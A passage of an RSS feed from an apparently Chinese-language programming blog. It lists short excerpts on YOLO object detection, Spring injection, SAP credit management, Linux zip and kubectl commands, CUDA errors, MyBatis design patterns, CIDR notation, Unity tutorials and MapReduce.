      <description>点击上方“小白学视觉”，选择加&#34;星标&#34;或“置顶”&#xA;重磅干货，第一时间送达 0 前言 本文目的是用尽量浅显易懂的语言让零基础小白能够理解什么是YOLO系列模型，以及他们的设计思想和改进思路分别是什么。我不会把YOLO的论文给你用软件翻译一遍，这样做毫无意义；也不会使用太专业晦涩的名词和表达，对于每一个新的概念都会解释得尽量通俗一些，目的是使得你能像看故事一样学习YOLO模型，我觉得这样的学习方式才是知乎博客的意义所在。&#xA;为了使本文尽量生动有趣，我用葫芦娃作为例子展示YOLO的过程。&#xA;同时，会对YOLO v1和YOLOv5的代码进行解读，其他的版本就只介绍改进了。&#xA;1 先从一款强大的app说起 i detection APP&#xA;YOLO v5其实一开始是以一款app进入人们的视野的，就是上图的这个，叫：i detection(图上标的是YOLO v4，但其实算法是YOLO v5)，使用iOS系列的小伙伴呢，就可以立刻点赞后关掉我这篇文章，去下载这个app玩一玩。在任何场景下(工业场景，生活场景等等)都可以试试这个app和这个算法，这个app中间还有一个button，来调节app使用的模型的大小，更大的模型实时性差但精度高，更小的模型实时性好但精度差。&#xA;值得一提的是，这款app就是YOLO v5的作者亲自完成的。而且，我写这篇文章的时候YOLO v5的论文还没有出来，还在实验中，等论文出来应该是2020年底或者2021年初了。&#xA;读到这里，你觉得YOLO v5的最大特点是什么？&#xA;答案就是：一个字：快，应用于移动端，模型小，速度快。&#xA;首先我个人觉得任何一个模型都有下面3部分组成：&#xA;前向传播部分：90%&#xA;损失函数部分&#xA;反向传播部分&#xA;其中前向传播部分占用的时间应该在90%左右，即搞清楚前向传播部分也就搞清楚了这模型的实现流程和细节。本着这一原则，我们开始YOLO系列模型的解读：&#xA;2 不得不谈的分类模型 在进入目标检测任务之前首先得学会图像分类任务，这个任务的特点是输入一张图片，输出是它的类别。&#xA;对于输入图片，我们一般用一个矩阵表示。&#xA;对于输出结果，我们一般用一个one-hot vector表示： ，哪一维是1，就代表图片属于哪一类。&#xA;所以，在设计神经网络时，结构大致应该长这样：&#xA;img cbrp16 cbrp32 cbrp64 cbrp128 ... fc256-fc[10]&#xA;这里的cbrp指的是conv，bn，relu，pooling的串联。&#xA;由于输入要是one-hot形式，所以最后我们设计了2个fc层(fully connencted layer)，我们称之为“分类头”或者“决策层”。&#xA;3 YOLO系列思想的雏形：YOLO v0 有了上面的分类器，我们能不能用它来做检测呢？&#xA;要回答这个问题，首先得看看检测器和分类器的输入输出有什么不一样。首先他们的输入都是image，但是分类器的输出是一个one-hot vector，而检测器的输出是一个框(Bounding Box)。&#xA;框，该怎么表示？&#xA;在一个图片里面表示一个框，有很多种方法，比如：&#xA;x,y,w,h(如上图)&#xA;p1,p2,p3,p4(4个点坐标)&#xA;cx,cy,w,h(cx,cy为中心点坐标)&#xA;x,y,w,h,angle(还有的目标是有角度的，这时叫做Rotated Bounding Box)&#xA;......&#xA;所以表示的方法不是一成不变的，但你会发现：不管你用什么形式去表达这个Bounding Box，你模型输出的结果一定是一个vector，那这个vector和分类模型输出的vector本质上有什么区别吗？&#xA;答案是：没有，都是向量而已，只是分类模型输出是one-hot向量，检测模型输出是我们标注的结果。&#xA;所以你应该会发现，检测的方法呼之欲出了。那分类模型可以用来做检测吗？&#xA;当然可以，这时，你可以把检测的任务当做是遍历性的分类任务。</description>
    </item>
    <item>
      <title>spring注入实验</title>
      <link>https://bchobby.github.io/posts/9749e0742d644de3f63da8a4b05dda1f/</link>
      <pubDate>Fri, 31 Dec 2021 17:08:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9749e0742d644de3f63da8a4b05dda1f/</guid>
      <description>public interface TestInterface&amp;lt;T&amp;gt; { void test(); } @Scope(&#34;prototype&#34;) @Component(&#34;top&#34;) public class TestSub1 implements TestInterface&amp;lt;TestSub1&amp;gt;{ @Override public void test() { System.out.println(&#34;test1&#34;); } } @Component public class TestSub2 implements TestInterface&amp;lt;TestSub2&amp;gt;{ @Override public void test() { System.out.println(&#34;test2&#34;); } } @Component public class Test { @Autowired private ApplicationContext applicationContext; /** * 以下两种注入皆可 */ @Autowired private TestInterface&amp;lt;TestSub1&amp;gt; testInterface; // private TestInterface&amp;lt;TestSub1&amp;gt; testInterface; // // public Test(TestInterface&amp;lt;TestSub1&amp;gt; testInterface) { // this.testInterface = testInterface; // } @PostConstruct public void init() { testInterface.</description>
    </item>
    <item>
      <title>sap信贷管理的操作流程</title>
      <link>https://bchobby.github.io/posts/b1056b8f1723b3f4a4c1afdbb60e2051/</link>
      <pubDate>Fri, 31 Dec 2021 13:48:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1056b8f1723b3f4a4c1afdbb60e2051/</guid>
      <description>为了降低企业在实际业务中的信贷风险，SAP系统提供了一个复杂的信贷管理解决方案，当客户超过它的信贷许可范围时，系统能够做出迅速而有效的反应。如下图所示显示了SAP系统中一个客户的信贷管理信息。 同一个企业所有客户的信贷管理信息是以信用主数据的方式维护到系统中的，完全实现了客户信贷管理信息的共享。而且每一个客户的信贷管理信息随着对其销售业务的开展，系统能够实现及时动态更新。SAP系统对客户信贷管理信息的及时动态更新，以及信贷控制策略的实现是通过SAP系统的后台配置完成的。在这里针对不同信贷控制范围、不同风险类别、不同信贷组的组合进行详细的信贷控制设置，以实现企业的信贷控制策略。&#xA;1.定义信贷控制范围。信贷控制范围是SAP销售和应收账款模块中用于控制信用风险的组织机构。系统配置的后台路径为：企业结构=&amp;gt;定义=&amp;gt;财务会计=&amp;gt;定义信贷控制范围及组织值事例。为了提高工作效率，建议在“信贷控制范围明细项”里面维护客户信用主数据的默认值，实现在创建客户主数据时自动创建该客户的信用主数据。这样只需对不同风险类别的客户和授信客户的信贷限额进行维护。&#xA;2.给公司代码分配信贷控制范围。根据不同的产品，不同的销售方式，一个公司代码可以有多个信贷控制范围。同时一个信贷控制范围也可以分配给多个公司代码，比如，集团公司的一个客户可以有一个总的信用限额，而在各个信贷控制范围内又可以设定该信贷控制范围内的信用限额。系统配置的后台路径为：财务会计=&amp;gt;应收账目和应付账目=&amp;gt;信用管理=&amp;gt;信用控制会计科目=&amp;gt;分配允许的信用控制范围给公司代码及组织值事例。&#xA;3.给销售范围分配信贷控制范围。销售组织、分销渠道和产品组三者之间的有机组合构成一个销售范围。销售范围反应了一个企业不同的产品以及不同的销售方式的组合，一个信贷控制范围可以分配多个销售范围，一个销售范围只能分配给一个信贷控制范围，信贷控制范围和销售范围之间是一对多的关系。系统配置的后台路径为：企业结构=&amp;gt;分配=&amp;gt;销售分销=&amp;gt;分配贷款控制范围的销售范围及组织值事例。&#xA;4.定义风险类别。风险类别可以理解为风险等级，首先对客户区分不同的风险类别，然后针对不同的风险类别可以执行不同的信贷政策。 系统配置的后台路径为：财务会计=&amp;gt;应收账目和应付账目=&amp;gt;信用管理=&amp;gt;信用控制会计科目=&amp;gt;定义风险类别及组织值事例。&#xA;5.定义信贷组。信贷组可以理解为对信贷控制区分不同的控制环节，信贷控制一般可以在三个业务环节进行：销售订单、交货和发货过账。系统配置的后台路径为：销售分销=&amp;gt;基本功能=&amp;gt;信贷管理/风险管理=&amp;gt;信贷管理=&amp;gt;定义信贷组及组织值事例。&#xA;6.定义进行信贷控制的定价过程。这一项主要是对包含哪些价格条件类型的值进行信贷控制。关键是需要对进行信贷控制的价格条件类型设置相应的标志，将需要控制的价格转到贷方价格。具体系统配置的后台路径为：销售分销=&amp;gt;基本功能=&amp;gt;信贷管理/风险管理=&amp;gt;信贷管理/风险管理设置=&amp;gt;输入设置。&#xA;7.激活项目类别的信贷更新。这一配置在项目类别层次控制实际的销售业务数据是否更新信贷总额。要实现客户信贷及时动态更新，需将相应销售单据类型的活跃信贷选中。系统配置的后台路径为：销售分销=&amp;gt;基本功能=&amp;gt;信贷管理/风险管理=&amp;gt;信贷管理/风险管理设置=&amp;gt;确定每一项目类别的有效的应收款及组织值事例。&#xA;8.给销售凭证和交货凭证分配信贷组和信贷控制方式。通过这一配置实现了不同类型的销售订单和交货单与信贷组及系统信用控制的结合。&#xA;9.定义自动信贷控制。在这里定义具体的怎样执行信贷控制，反映了一个企业的基本信贷政策。系统配置的后台路径为：销售分销=&amp;gt;基本功能=&amp;gt;信贷管理/风险管理=&amp;gt;信贷管理=&amp;gt;定义自动信贷控制及组织值事例。&#xA;SAP中的信用控制可以实现分公司代码、分销售范围、分不同风险类别的客户、分单据类型的控制。要实现信用控制，还需要首先对要进行信贷控制的定价过程做定义，其次是要激活项目类别的信贷控制。信贷控制范围的确定一般有四个层次：公司代码、销售范围、客户主数据以及用户出口，四者的优先级依次升高。&#xA;SAP系统的信用管理功能非常强大，而在销售管理过程中，信用管理也是主要的内部控制点，为此建议将风险类别按低、中、高划分成三个等级，按客户的信用状况，将客户划分成低风险客户、中风险客户、高风险客户，对客户实行分级管理。&#xA;在信用控制策略上，对不同的信贷控制范围，实现销售订单级的控制即可。对于低风险客户，当超信贷限额时，系统只是警告一下，不影响业务操作；对于中风险客户，当超信贷限额时，订单将会被冻结，后续的业务无法继续进行，经过相应的审批，将被冻结的订单释放后才能进行后续操作；而对于高风险客户，当超信贷限额时，订单根本无法保存。&#xA;为了保证创建新客户时同时创建该客户的信用主数据，建议通过系统配置实现创建客户主数据时自动创建该客户的信用主数据。&#xA;在具体实现策略方面，建议将内部客户维护成低风险客户，将外部客户维护成中风险或高风险客户。对需要授信的客户，由企业信用管理小组根据客户信用状况给予一定的授信额度，从而实现SAP系统对内控的有效支撑。</description>
    </item>
    <item>
      <title>linux 命令：zip 详解</title>
      <link>https://bchobby.github.io/posts/c76635e8c8a521a01e2b9c9e70f8226c/</link>
      <pubDate>Fri, 31 Dec 2021 11:27:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c76635e8c8a521a01e2b9c9e70f8226c/</guid>
      <description>zip 命令的功能是打包和压缩文件。&#xA;用法&#xA;zip [-options] [-b path] [-t mmddyyyy] [-n suffixes] [zipfile list] [-xi list]&#xA;如果 zipfile 未提供，压缩标准输入并把结果写到标准输出。&#xA;选项&#xA;-A 调整自解压程序。&#xA;-c 添加单行注释。&#xA;-d 从 zipfile 中删除条目。&#xA;-db 展示正在执行的字节数和尚未执行（压缩）的字节数。&#xA;-dc 展示正在执行的文件数和尚未执行（压缩）的文件数。&#xA;-dd 每10MB展示为一个点。&#xA;-dg 将整个归档用点代表，而不是为每个文件。&#xA;-ds 每个点都代表一个 siz ，其中 siz 是以 nm 为单位作为分割（0 代表没有点）。&#xA;-D 不添加目录条目。&#xA;-DF 也写作 --dif。只包括有改变的文件或比输入归档较新的文件。&#xA;-e 设置解压权限，使用标准（弱）PKZip 2.0 编码，提示输入密码。&#xA;-f 只更新有改变的文件。&#xA;-F 修复 zipfile（-FF 更努力地修复）。拷贝潜在损坏的归档中的文件到新归档中。 -F 尝试正常读取归档并仅复制完整条目，而 -FF 尝试挽救可能导致不完整条目 的内容。必须使用 --out 指定输出的归档。使用 -v 查看详细信息。&#xA;-FS 如果日期或大小改变了就更新，系统不存在的文件就删除。</description>
    </item>
    <item>
      <title>MicroLib微库和ARM标准C库：usart使用中printf重定向引起的问题</title>
      <link>https://bchobby.github.io/posts/0f6db47e669d31a18ac3347a27d62b30/</link>
      <pubDate>Fri, 31 Dec 2021 11:05:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f6db47e669d31a18ac3347a27d62b30/</guid>
      <description>方法一：使用微库（微雪）&#xA;在usart.c中添加如下代码：&#xA;#ifdef __GNUC__ /* With GCC/RAISONANCE, small printf (option LD Linker-&amp;gt;Libraries-&amp;gt;Small printf set to &#39;Yes&#39;) calls __io_putchar() */ #define PUTCHAR_PROTOTYPE int __io_putchar(int ch) #else #define PUTCHAR_PROTOTYPE int fputc(int ch, FILE *f) #endif /* __GNUC__ */ /** * @brief Retargets the C library printf function to the USART. * @param None * @retval None */ PUTCHAR_PROTOTYPE { /* Place your implementation of fputc here */ /* e.g. write a character to the EVAL_COM1 and Loop until the end of transmission */ HAL_UART_Transmit(&amp;amp;huart1, (uint8_t *)&amp;amp;ch, 1, 0xFFFF); return ch; } 之后引入相关头文件，并在设置中勾选使用微库，编译成功后即可使用printf()进行串口通信。</description>
    </item>
    <item>
      <title>linux c语言sleep不占用cpu的验证</title>
      <link>https://bchobby.github.io/posts/4593ec96ad0fd11b140abfd250d57dec/</link>
      <pubDate>Thu, 30 Dec 2021 22:54:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4593ec96ad0fd11b140abfd250d57dec/</guid>
      <description>1. 不使用sleep的循环程序1.c：&#xA;void main(void) { while(1) { ; } } 编译：gcc 1.c -o 1&#xA;运行程序1之前的cpu：&#xA;运行一次./1 &amp;amp;，用htop查看cpu：&#xA;运行8次./1 &amp;amp;，用htop查看cpu：&#xA;运行killall 1，终止所有程序1，用htop查看cpu：&#xA;结论：不使用sleep,循环会一直占用cpu&#xA;2.使用sleep(0)的循环程序0.c：&#xA;void main(void) { while(1) { sleep(0); } } 运行8次./0 &amp;amp;，用htop查看cpu：&#xA;结论：sleep(0)的循环仍然会占用cpu。&#xA;3.使用sleep(1)的循环程序2.c： void main(void) { while(1) { sleep(1); } } 运行16次./2 &amp;amp;，用htop查看cpu：&#xA;结论：sleep(1)的循环基本不占用cpu。&#xA;3.使用sleep(1000)的循环程序3.c： void main(void) { while(1) { sleep(1000); } } 运行16次./3 &amp;amp;，用htop查看cpu：&#xA;结论：sleep(1000)的循环基本不占用cpu。&#xA;4.使用usleep(1)的循环程序4.c： void main(void) { while(1) { usleep(1); } } 运行16次./4 &amp;amp;，用htop查看cpu：</description>
    </item>
    <item>
      <title>CUDA unknown error - this may be due to an incorrectly set up environment 问题解决</title>
      <link>https://bchobby.github.io/posts/dc25ea3c557d315a3d107d2015841573/</link>
      <pubDate>Thu, 30 Dec 2021 17:38:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc25ea3c557d315a3d107d2015841573/</guid>
      <description>前言 今天查看服务器一个使用了pytorch的项目升级后突然出错。报错的全内容由于标题限制，下面我发出来。&#xA;builtins.RuntimeError: CUDA unknown error - this may be due to an incorrectly set up environment, e.g. changing env variable CUDA_VISIBLE_DEVICES after program start. Setting the available devices to be zero.&#xA;报错截图&#xA;后来查阅了一些资料，下面说下几种解决方法。&#xA;解决方法 方案1：添加环境变量&#xA;由于我是docker容器启动项目，所以进入容器后安装完vim，然后在~/.bashrc最后添加了一下内容。&#xA;export CUDA_VISIBLE_DEVICES=0 由于在构建容器的时候选的显卡编号为0，所以上面我配置的编号为0。&#xA;重启容器后检查$ CUDA_VISIBLE_DEVICES输出正常，但是没有解决问题，报错依旧。&#xA;方案2：代码添加环境变量&#xA;在初始化cuda区域最开始添加一下代码。&#xA;import os os.environ[&#39;CUDA_VISIBLE_DEVICES&#39;] =‘0’ 还是没有解决问题。&#xA;方案3：重启服务器&#xA;参考了一些文章，提到了如果系统升级了显卡驱动而没有重启的话，也会导致同样的报错。&#xA;所以重启了一下服务器，问题解决。&#xA;总结 3种方案虽然只有最后一个解决了问题，但是可能因为我的情况特殊。给自己解决过程留个记录，顺便分享一下。</description>
    </item>
    <item>
      <title>k8s 查看日志</title>
      <link>https://bchobby.github.io/posts/3a5e55e81ab881339c7d1cb7d0ed90be/</link>
      <pubDate>Thu, 30 Dec 2021 11:48:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a5e55e81ab881339c7d1cb7d0ed90be/</guid>
      <description>1、查看指定pod的日志&#xA;kubectl logs &amp;lt;pod_name&amp;gt;&#xA;kubectl logs -f &amp;lt;pod_name&amp;gt; #类似tail -f的方式查看(tail -f 实时查看日志文件 tail -f 日志文件log)&#xA;2、查看指定pod中指定容器的日志&#xA;kubectl logs &amp;lt;pod_name&amp;gt; -c &amp;lt;container_name&amp;gt;&#xA;3、查看Docker容器日志&#xA;docker logs &amp;lt;container_id&amp;gt;&#xA;参考资料：第5.2.24节 kubectl logs · Kubernetes 中文文档</description>
    </item>
    <item>
      <title>Mybatis使用的9种设计模式，你知道几种</title>
      <link>https://bchobby.github.io/posts/266d30639c43e507127d7c39bdfcc446/</link>
      <pubDate>Thu, 30 Dec 2021 09:23:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/266d30639c43e507127d7c39bdfcc446/</guid>
      <description>在Mybatis源码中使用了大量的设计模式，阅读源码并观察设计模式在其中的应用，能够更深入的理解设计模式。&#xA;Mybatis至少遇到了以下的设计模式的使用：&#xA;Builder模式，例如SqlSessionFactoryBuilder、XMLConfigBuilder、XMLMapperBuilder、XMLStatementBuilder、CacheBuilder；&#xA;工厂模式，例如SqlSessionFactory、ObjectFactory、MapperProxyFactory；&#xA;单例模式，例如ErrorContext和LogFactory；&#xA;代理模式，Mybatis实现的核心，比如MapperProxy、ConnectionLogger，用的jdk的动态代理；还有executor.loader包使用了cglib或者javassist达到延迟加载的效果；&#xA;组合模式，例如SqlNode和各个子类ChooseSqlNode等；&#xA;模板方法模式，例如BaseExecutor和SimpleExecutor，还有BaseTypeHandler和所有的子类例如IntegerTypeHandler；&#xA;适配器模式，例如Log的Mybatis接口和它对jdbc、log4j等各种日志框架的适配实现；&#xA;装饰者模式，例如Cache包中的cache.decorators子包中等各个装饰者的实现；&#xA;迭代器模式，例如迭代器模式PropertyTokenizer；&#xA;接下来挨个模式进行解读，先介绍模式自身的知识，然后解读在Mybatis中怎样应用了该模式。&#xA;1、Builder模式 Builder模式的定义是“将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示。”，它属于创建类模式，一般来说，如果一个对象的构建比较复杂，超出了构造函数所能包含的范围，就可以使用工厂模式和Builder模式，相对于工厂模式会产出一个完整的产品，Builder应用于更加复杂的对象的构建，甚至只会构建产品的一个部分。&#xA;在Mybatis环境的初始化过程中，SqlSessionFactoryBuilder会调用XMLConfigBuilder读取所有的MybatisMapConfig.xml和所有的*Mapper.xml文件，构建Mybatis运行的核心对象Configuration对象，然后将该Configuration对象作为参数构建一个SqlSessionFactory对象。&#xA;其中XMLConfigBuilder在构建Configuration对象时，也会调用XMLMapperBuilder用于读取*Mapper文件，而XMLMapperBuilder会使用XMLStatementBuilder来读取和build所有的SQL语句。&#xA;在这个过程中，有一个相似的特点，就是这些Builder会读取文件或者配置，然后做大量的XpathParser解析、配置或语法的解析、反射生成对象、存入结果缓存等步骤，这么多的工作都不是一个构造函数所能包括的，因此大量采用了Builder模式来解决。&#xA;对于builder的具体类，方法都大都用build*开头，比如SqlSessionFactoryBuilder为例，它包含以下方法：&#xA;即根据不同的输入参数来构建SqlSessionFactory这个工厂对象。&#xA;2、工厂模式 在Mybatis中比如SqlSessionFactory使用的是工厂模式，该工厂没有那么复杂的逻辑，是一个简单工厂模式。&#xA;简单工厂模式(Simple Factory Pattern)：又称为静态工厂方法(Static Factory Method)模式，它属于类创建型模式。java培训在简单工厂模式中，可以根据参数的不同返回不同类的实例。简单工厂模式专门定义一个类来负责创建其他类的实例，被创建的实例通常都具有共同的父类。&#xA;SqlSession可以认为是一个Mybatis工作的核心的接口，通过这个接口可以执行执行SQL语句、获取Mappers、管理事务。类似于连接MySQL的Connection对象。&#xA;可以看到，该Factory的openSession方法重载了很多个，分别支持autoCommit、Executor、Transaction等参数的输入，来构建核心的SqlSession对象。&#xA;在DefaultSqlSessionFactory的默认工厂实现里，有一个方法可以看出工厂怎么产出一个产品：&#xA;private SqlSession openSessionFromDataSource(ExecutorType execType, TransactionIsolationLevel level, boolean autoCommit) { Transaction tx = null; try { final Environment environment = configuration.getEnvironment(); final TransactionFactory transactionFactory = getTransactionFactoryFromEnvironment(environment); tx = transactionFactory.newTransaction(environment.getDataSource(), level, autoCommit); final Executor executor = configuration.newExecutor(tx, execType); return new DefaultSqlSession(configuration, executor, autoCommit); } catch (Exception e) { closeTransaction(tx); // may have fetched a connection so lets call // close() throw ExceptionFactory.</description>
    </item>
    <item>
      <title>CIDR表示IP地址</title>
      <link>https://bchobby.github.io/posts/aa2cf803dabcebdc2cf3696b838d6ae1/</link>
      <pubDate>Wed, 29 Dec 2021 23:15:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa2cf803dabcebdc2cf3696b838d6ae1/</guid>
      <description>CIDR表示的IP地址段解析 举例：IP号段是125.203.96.0 - 125.203.127.255，转换成CIDR格式是多少？&#xA;解析：转换为CIDR就是找相同部分，把十进制数转换成二进制数，例如125.203.96.0 - 125.203.127.255，相同的忽略不计，把不同的数字转换成二进制，然后找相同的位数：&#xA;IP号段：125.203.96.0 - 125.203.127.255&#xA;转成二进制：125.203.0110 0000.0000 0000 - 125.203.0111 1111.1111 1111&#xA;分析：十进制125和203是相同的，8+8=16位；二进制011是相同的，再加上3位，16+3=19位&#xA;所以，IP号段：125.203.96.0 - 125.203.127.255 转换成CIDR格式为125.203.96/19</description>
    </item>
    <item>
      <title>C&#43;&#43; 创建unordered_map将vector作为key</title>
      <link>https://bchobby.github.io/posts/10b534c2e555be276a5f769bbfb3065a/</link>
      <pubDate>Wed, 29 Dec 2021 17:19:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10b534c2e555be276a5f769bbfb3065a/</guid>
      <description>unordered_map&amp;lt;vector&amp;lt;int&amp;gt;,int&amp;gt; hashtable; 自定义哈希函数 // cited from: // https://stackoverflow.com/questions/20511347/a-good-hash-function-for-a-vector // equivalent to : hash_combine() (from boost lib) struct HashFunc_t { size_t operator() (const vector&amp;lt;int&amp;gt;&amp;amp; key) const { std::hash&amp;lt;int&amp;gt; hasher; size_t seed = 0; for (int i : key) { seed ^= hasher(i) + 0x9e3779b9 + (seed &amp;lt;&amp;lt; 6) + (seed &amp;gt;&amp;gt; 2); } return seed; } }; 自定义等价操作函数（可选） struct Equalfunc_t { bool operator() (vector&amp;lt;int&amp;gt; const&amp;amp; a, vector&amp;lt;int&amp;gt; const&amp;amp; b) const { for (int i = 0; i &amp;lt; a.</description>
    </item>
    <item>
      <title>Unity初级案例-愤怒的小鸟:五:14添加失败和胜利的游戏UI界面&#43;15修改火花粒子系统&#43;16渲染层级关系&#43;17把粒子系统显示在UI之前</title>
      <link>https://bchobby.github.io/posts/b30b05525c2c3b5857c25f673abcdef6/</link>
      <pubDate>Wed, 29 Dec 2021 17:12:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b30b05525c2c3b5857c25f673abcdef6/</guid>
      <description>目录&#xA;一.目的&#xA;1.想知道:愤怒的小鸟:如何制作&#xA;2.做好学习笔记，方便下次查看&#xA;二.参考&#xA;1.SIKI学院&#xA;三.注意&#xA;1.版本&#xA;操作:1:14添加失败和胜利的游戏UI界面&#xA;1.新建UI的Image作为失败、胜利的整体背景图&#xA;1.在lose下再新建Image，作为按钮的背景图&#xA;1.切割按钮图​ 1.设置按钮&#xA;1.设置lose界面的动画 ​&#xA;1.设置win界面+动画&#xA;1.代码：GameManager：制作输赢&#xA;1.代码：Win：给赢的UI添加逻辑&#xA;1.动画设置：win界面动画播放完毕，显示星星&#xA;1.运行结果：成功&#xA;操作:2:15修改火花粒子系统&#xA;1.裁剪星星+添加星星到赢的UI界面中&#xA;1.导入火花粒子的资源&#xA;1.烟火粒子特效调整&#xA;操作:3: 16渲染层级关系&#xA;1.渲染层级知识： 一.目的 1.想知道:愤怒的小鸟:如何制作 2.做好学习笔记，方便下次查看 二.参考 1.SIKI学院 登录 - SiKi学院 - 生命不息，学习不止！&#xA;good：学习的网址&#xA;三.注意 1.版本 Unity2017.2.0f3VS2019UnityHUB 2.5.6 操作:1:14添加失败和胜利的游戏UI界面 1.新建UI的Image作为失败、胜利的整体背景图 新建后，如图所视，全屏显示+改名字为lose&#xA;如果所视将其弄成半透明度&#xA;1.在lose下再新建Image，作为按钮的背景图 如图所视，将其颜色、位置等设置好&#xA;1.切割按钮图 1.设置按钮 如图所视设置2个按钮图片+1个猪头 +改名字为home和retry&#xA;1.设置lose界面的动画 1.设置win界面+动画 基本都是从lose界面和动画中复制过来的+将win里面的动画修改一下&#xA;1.代码：GameManager：制作输赢 using System.Collections; using System.Collections.Generic; using UnityEngine; /// &amp;lt;summary&amp;gt; /// 【Author：xzy;Time:2021-12-29】【10游戏逻辑的判定，实现多只小鸟的飞出：添加】 /// Function:小猪身上的代码 /// &amp;lt;/summary&amp;gt; public class GameManager : MonoBehaviour { /// &amp;lt;summary&amp;gt;List：所有的小鸟【10游戏逻辑的判定，实现多只小鸟的飞出：添加】&amp;lt;/summary&amp;gt; public List&amp;lt;Bird&amp;gt; birds; /// &amp;lt;summary&amp;gt;List：所有的猪【10游戏逻辑的判定，实现多只小鸟的飞出：添加】&amp;lt;/summary&amp;gt; public List&amp;lt;Pig&amp;gt; pigs; /// &amp;lt;summary&amp;gt;单例【10游戏逻辑的判定，实现多只小鸟的飞出：添加】&amp;lt;/summary&amp;gt; public static GameManager _instance; /// &amp;lt;summary&amp;gt;Vector3：初始化位置【11解决重复划线和小鸟轮换速度突然变大的问题：添加】&amp;lt;/summary&amp;gt; private Vector3 originPos; /// &amp;lt;summary&amp;gt;GameObject：赢界面【14 - 添加失败，胜利的游戏UI界面：添加】&amp;lt;/summary&amp;gt; public GameObject win; /// &amp;lt;summary&amp;gt;GameObject：输界面【14 - 添加失败，胜利的游戏UI界面：添加】&amp;lt;/summary&amp;gt; public GameObject lose; private void Awake() { _instance = this;//单例 if (birds.</description>
    </item>
    <item>
      <title>MapReduce实战案例：发现共同好友</title>
      <link>https://bchobby.github.io/posts/cf50133d44b4270934288711bf811503/</link>
      <pubDate>Wed, 29 Dec 2021 16:50:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf50133d44b4270934288711bf811503/</guid>
      <description>mapreduce原理 MapReduce是一种编程模型，用于大规模数据集的并行运算，其中包含 Map（映射） 和 Reduce（归约） 两个阶段。&#xA;接下来以最经典的 Word Count 案例进行解析&#xA;在MapReduce整个过程可以概括为以下过程：&#xA;输入 --&amp;gt; map --&amp;gt; shuffle --&amp;gt; reduce --&amp;gt;输出&#xA;流程说明如下：&#xA;输入文件分片，每一片都由一个MapTask来处理&#xA;Map输出的中间结果会先放在内存缓冲区中，这个缓冲区的大小默认是100M，当缓冲区中的内容达到80%时（80M）会将缓冲区的内容写到磁盘上。也就是说，一个map会输出一个或者多个这样的文件，如果一个map输出的全部内容没有超过限制，那么最终也会发生这个写磁盘的操作，只不过是写几次的问题。&#xA;从缓冲区写到磁盘的时候，会进行分区并排序，分区指的是某个key应该进入到哪个分区，同一分区中的key会进行排序，如果定义了Combiner的话，也会进行combine操作&#xA;如果一个map产生的中间结果存放到多个文件，那么这些文件最终会合并成一个文件，这个合并过程不会改变分区数量，只会减少文件数量。例如，假设分了3个区，4个文件，那么最终会合并成1个文件，3个区&#xA;以上只是一个map的输出，接下来进入reduce阶段&#xA;每个reducer对应一个ReduceTask，在真正开始reduce之前，先要从分区中抓取数据&#xA;相同的分区的数据会进入同一个reduce。这一步中会从所有map输出中抓取某一分区的数据，在抓取的过程中伴随着排序、合并。&#xA;reduce输出&#xA;案例背景 假设有以下好友列表，A的好友有B,C,D,F,E,O; B的好友有A,C,E,K&#xA;那我们要如何算出A-O用户每个用户之间的共同好友呢？&#xA;A:B,C,D,F,E,O B:A,C,E,K C:F,A,D,I D:A,E,F,L E:B,C,D,M,L F:A,B,C,D,E,O,M G:A,C,D,E,F H:A,C,D,E,O I:A,O J:B,O K:A,C,D L:D,E,F M:E,F,G O:A,H,I,J 解决思路 下面我们将演示分步计算，思路主要如下：&#xA;提取用户的好友列表 提取共同好友 代码实现 由上可知，此次计算由两步组成，因此需要两个MapReduce程序先后执行&#xA;Maven项目配置 在编写程序前需要先导入Maven依赖与打包插件&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;!--此处为Maven项目信息--&amp;gt; &amp;lt;groupId&amp;gt;&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;&amp;lt;/version&amp;gt; &amp;lt;!--Maven项目全局配置--&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;project.</description>
    </item>
    <item>
      <title>Unity初级案例-愤怒的小鸟:三:07猪的受伤&#43;08弹弓划线操作&#43;09死亡和加分特效的制作&#43;10游戏逻辑的判定，实现多只小鸟的飞出</title>
      <link>https://bchobby.github.io/posts/e91b33589191fc68cc964cdd9627e225/</link>
      <pubDate>Wed, 29 Dec 2021 15:13:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e91b33589191fc68cc964cdd9627e225/</guid>
